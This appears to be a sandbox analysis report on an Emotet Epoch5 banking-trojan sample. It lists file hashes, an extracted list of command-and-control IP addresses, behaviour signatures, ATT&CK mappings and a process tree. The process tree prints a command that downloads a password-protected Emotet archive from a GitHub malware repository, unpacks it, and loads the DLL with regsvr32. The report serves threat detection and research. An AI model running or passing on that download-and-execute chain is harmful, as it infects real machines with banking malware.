emotet | 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1

General

Target
159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe
Size 57KB
Sample240531-jec2eabc81
SHA256 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1
MD5 ededb3f015ef786127135167bcef4012
SHA1 1423eca9f232f5bd62f1350359ce20e20115104d
SHA512 bfb18e621acfb5bbdac525ca8f94a7bca51ceaed03927cccc4cd15f272c87d9f9c00561bb6d53dcbb05d5c3457bb2b7df6c4bdaff95c416f58c3c75ab7ce492e
SSDEEP 768:cUctn7EWvq3fRzEuu7+1p3hdj6A4Pa6k42SXTqOW7xQ8VORH:qnGfhdhduAia6jer7xQ8Vs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Family

emotet

Botnet

Epoch5

C2

178.238.225.252:8080
139.196.72.155:8080
36.67.23.59:443
103.56.149.105:8080
37.44.244.177:8080
85.25.120.45:8080
202.134.4.210:7080
78.47.204.80:443
83.229.80.93:8080
93.104.209.107:8080
80.211.107.116:8080
165.22.254.236:8080
104.244.79.94:443
185.148.169.10:8080
190.145.8.4:443
175.126.176.79:8080
139.59.80.108:8080
188.165.79.151:443
128.199.217.206:443
64.227.55.231:8080
218.38.121.17:443
103.71.99.57:8080
103.224.241.74:8080
128.199.242.164:8080
85.214.67.203:8080
103.254.12.236:7080
46.101.98.60:8080
178.62.112.199:8080
210.57.209.142:8080
195.77.239.39:8080
103.126.216.86:443
82.98.180.154:7080
202.28.34.99:8080
174.138.33.49:7080
160.16.143.191:8080
51.75.33.122:443
103.41.204.169:8080
186.250.48.5:443
87.106.97.83:7080
118.98.72.86:443
196.44.98.190:8080
103.85.95.4:8080
62.171.178.147:8080
54.37.228.122:443
114.79.130.68:443
198.199.70.22:8080

ecs1.plain

eck1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Loads dropped DLL 3 IoCs

pid	Process
1804	regsvr32.exe
2428	regsvr32.exe
4352	regsvr32.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
15	raw.githubusercontent.com
19	raw.githubusercontent.com

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2428	regsvr32.exe
2428	regsvr32.exe
4352	regsvr32.exe
4352	regsvr32.exe
4352	regsvr32.exe
4352	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeRestorePrivilege	4616	7z.exe
Token: 35	4616	7z.exe
Token: SeSecurityPrivilege	4616	7z.exe
Token: SeSecurityPrivilege	4616	7z.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 4624	4000	159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe	92
PID 4000 wrote to memory of 4624	4000	159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe	92
PID 4000 wrote to memory of 4624	4000	159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe	92
PID 4624 wrote to memory of 3616	4624	cmd.exe	93
PID 4624 wrote to memory of 3616	4624	cmd.exe	93
PID 4624 wrote to memory of 3616	4624	cmd.exe	93
PID 4624 wrote to memory of 4616	4624	cmd.exe	94
PID 4624 wrote to memory of 4616	4624	cmd.exe	94
PID 4000 wrote to memory of 436	4000	159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe	95
PID 4000 wrote to memory of 436	4000	159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe	95
PID 4000 wrote to memory of 436	4000	159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe	95
PID 436 wrote to memory of 1804	436	cmd.exe	96
PID 436 wrote to memory of 1804	436	cmd.exe	96
PID 436 wrote to memory of 1804	436	cmd.exe	96
PID 1804 wrote to memory of 2428	1804	regsvr32.exe	97
PID 1804 wrote to memory of 2428	1804	regsvr32.exe	97
PID 2428 wrote to memory of 4352	2428	regsvr32.exe	103
PID 2428 wrote to memory of 4352	2428	regsvr32.exe	103

C:\Users\Admin\AppData\Local\Temp\159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe
"C:\Users\Admin\AppData\Local\Temp\159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\SysWOW64\curl.exe
    curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip"
    3⤵
    PID:3616
- - C:\Program Files\7-Zip\7z.exe
    "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4616
- C:\Windows\SysWOW64\cmd.exe
  cmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\system32\regsvr32.exe
      "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2428
    - - C:\Windows\system32\regsvr32.exe
        
        C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FAHJEBxB\dLhVekW.dll"
        5⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4352

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3868 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:8
1⤵
PID:5076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Emotet-Epoch5.zip

Path C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip
Size 289KB
SHA256 b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7
MD5 ebe6bc9eab807cdd910976a341bc070d
SHA1 1052700b1945bb1754f3cadad669fc4a99f5607b
SHA512 9a6bfcb90c1e24be1b930990dd2af72e889f71ad7e1a7b8353b6522a625e2ae36013793ee2c159880bd510b8f785ce4c9dfced1d2901d3ca8f091e26084185a8
SSDEEP 6144:VMIldr7XgxKPucvUix+W6Um6+umFHJdmcCsQ4t7sFvjADzQJWWqWFST:G+LgxOutG56txugXMnYIFbADzoyWUT
MD5 SHA1 SHA512 SSDEEP

Submit Download

emotet.dll

Path C:\Users\Admin\AppData\Local\Temp\emotet.dll
Size 534KB
SHA256 b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59
MD5 56bb8500d7ab6860760eddd7a55e9456
SHA1 e9b38c5fb51ce1a038f65c1620115a9bba1e383d
SHA512 83ceff476d071412b02bab0753bd3c4440937b663397d73349fa90c38d96cf88051b645c781cbe5de281aa3bd45e71da7fcc8c99c2846ce29c2f36c3e1307a84
SSDEEP 6144:vTKqTS2X5Bc1p7PIvaf66pPfTISFikbOM5pxH/z3SJnzo+28tz3+TThF4Sr:vucOk6pPAkbnjBzazwk3+vh
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2428-9-0x00000000021C0000-0x00000000021F0000-memory.dmp

Download

memory/2428-13-0x0000000180000000-0x000000018008C000-memory.dmp

Download

memory/4000-4-0x0000000000AC0000-0x0000000000AD2000-memory.dmp

Download

memory/4000-5-0x0000000000AC0000-0x0000000000AD2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads